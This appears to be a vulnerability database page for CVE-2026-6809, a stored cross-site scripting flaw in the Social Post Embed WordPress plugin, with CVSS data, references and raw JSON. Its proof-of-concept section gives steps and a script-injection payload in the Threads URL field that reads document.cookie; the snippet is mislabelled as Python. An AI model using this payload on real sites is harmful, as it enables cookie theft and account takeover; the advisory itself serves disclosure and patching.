Security Vulnerability Report
中文
CVE-2026-6809 CVSS 6.4 MEDIUM

CVE-2026-6809

Published: 2026-04-28 06:16:05
Last Modified: 2026-04-28 20:26:05

Description

The Social Post Embed plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Threads embed handler in all versions up to, and including, 2.0.1. This is due to insufficient input sanitization and output escaping on the user-supplied URL. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Social Post Embed <= 2.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-6809 * Product: Social Post Embed WordPress Plugin * Vulnerability Type: Stored XSS via Threads Embed Handler */ // Step 1: Log in as a user with Contributor-level access or higher. // Step 2: Create a new Post. // Step 3: Use the Social Post Embed block/shortcode to embed a Threads post. // Step 4: In the URL field, enter the following payload: let payload = 'https://www.threads.net/t/test"><script>alert(document.cookie)</script>'; // Step 5: Publish the post. // Step 6: Visit the post as a different user (e.g., Admin). // Result: The JavaScript alert will trigger, demonstrating the Stored XSS. console.log(`Payload to inject: ${payload}`);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6809", "sourceIdentifier": "[email protected]", "published": "2026-04-28T06:16:04.770", "lastModified": "2026-04-28T20:26:04.673", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Social Post Embed plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Threads embed handler in all versions up to, and including, 2.0.1. This is due to insufficient input sanitization and output escaping on the user-supplied URL. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/social-post-embed/tags/2.0.1/inc/threads.php#L64", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/social-post-embed/tags/2.0.2/inc/threads.php#L49", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/social-post-embed/tags/2.0.2/inc/threads.php#L50", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/social-post-embed/tags/2.0.2/inc/threads.php#L61", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/social-post-embed/trunk/inc/threads.php#L64", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4c16841d-8878-4328-a5dc-113d213cca33?source=cve", "source": "[email protected]"}]}}